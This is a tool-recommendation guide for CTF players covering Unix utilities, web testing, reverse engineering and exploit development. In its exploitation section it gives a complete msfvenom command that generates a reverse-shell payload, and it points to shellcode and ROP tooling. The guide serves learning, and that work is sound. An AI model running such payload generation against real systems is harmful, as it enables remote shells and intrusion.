CTFs are about the skill, not about the tools. Still, you’ll need a couple of tools to be successful.
In general a good advice is to get used to working with the OS shell. There’s really a lot of things you can do very quickly and effectively if you know your way around bash/zsh/your_favourite_shell_here and python or your_favourite_scripting_language_here.

Get used to curl, bash for + while loops, grep, pipes, file redirection, command substitution, fifos, … you name it. Also choose a decent text editor (vim, sublime, emacs, … not nano or similar :P) and learn how to use it properly.

Try to stay away from tools that automate too much, you’ll not learn anything from using them and they most likely won’t help you solve the challenge. Automated tools definitely lack behind a skilled human :)

###General Tools

There’s a couple of useful Unix tools you’ll often need during CTFs. Some tools you should be familiar with:

Tool Description
strings Search for strings in files, supports 8, 16 and 32 bit Unicode
file Try to detect the file type based on magic byte sequences at the start of the file
netcat/nc Connect to a remote tcp/udp/sctp server and talk to it from the command line
hexdump/xxd View files and data in hexadecimal
hexedit/ghex Edit files in hexadecimal
strace/ltrace Trace the execution of a binary, log syscalls/library function calls
wireshark View network traffic, either live or from a pcap file

###Web Security

My favourite tool for doing any kind of web hacking is the Burp Suite. Burp Suite is a very powerful and flexible tool and the free version is usually sufficient. For a start you’ll want to make yourself familiar with the Proxy and the Repeater. Also take a look at the Intruder at some point.
Oftentimes a combination of curl, grep and sometimes a bash loop or similar can work wonders too though.

Additionally make yourself familiar with how to make web requests from your favourite scripting language. For python I can recommend the requests package.

Moreover it might be a good idea to have a few VMs (try out vagrant) or docker containers ready so you can quickly run some server side code locally to develop and debug your exploit.

Ultimately web hacking really isn’t about (automated) tools, so don’t start running some vuln discovery tool or directory bruteforcer against the web server, it will get you nowhere and will just put the organizers web servers under unnecessary load.

###Reverse Engineering

You’ll need a disassembler: Basically you have the choice between radare2, hopper and IDA Pro (there’s a free/evaluation version available for both, hopper and IDA). IDA Pro is pretty much the industry standard tool for reverse engineering (and thus relatively pricey).

For debugging you’ll definitely want to make yourself familiar with gdb. If you want an improved UI you can take a look at peda, the .gdbinit from here or try out voltron.

If you need to do reverse engineering and/or debugging on Windows, take a look at x64dbg, OllyDbg or the Immunity Debugger. Also WinDbg is very powerful, especially since it can do kernel level debugging (rarely needed during CTFs though).


Since reverse engineering a binary is usually the first step towards developing an exploit for it, make sure to also read the section on reverse engineering.

For your exploit you can usually grab some shellcode from the internet, e.g. this one, but msfvenom can be useful, too. For example

./msfvenom \
 -p linux/x86/shell_reverse_tcp \
 LHOST=$(curl icanhazip.com) \
 LPORT=4444 \
 -b '\x00\x09\x0a\x0b\x0c\x0d\x20' \
 -f python

will generate a reverse shell payload without zero bytes or whitespace in it and spit it out as ready to use python code.
If you need to build a ROP payload, give ROPgadget a try (metasploit has a similar utility called msfrop, but I found ROPgadget to work better most of the times).

Some other useful tools include the checksec.sh script to quickly check which mitigations are enabled on a binary, the pattern_create and pattern_offset scripts from metasploit to find various important offsets (e.g the offset from the start of a buffer to the saved return address on the stack), as well as the metasm shell (for example to quickly assemble a “jmp short 0x10” to jump over some corrupted part of the shellcode) or nasm (to build your own shellcode).

Also (shameless plug) take a look at our ctfcode repository :)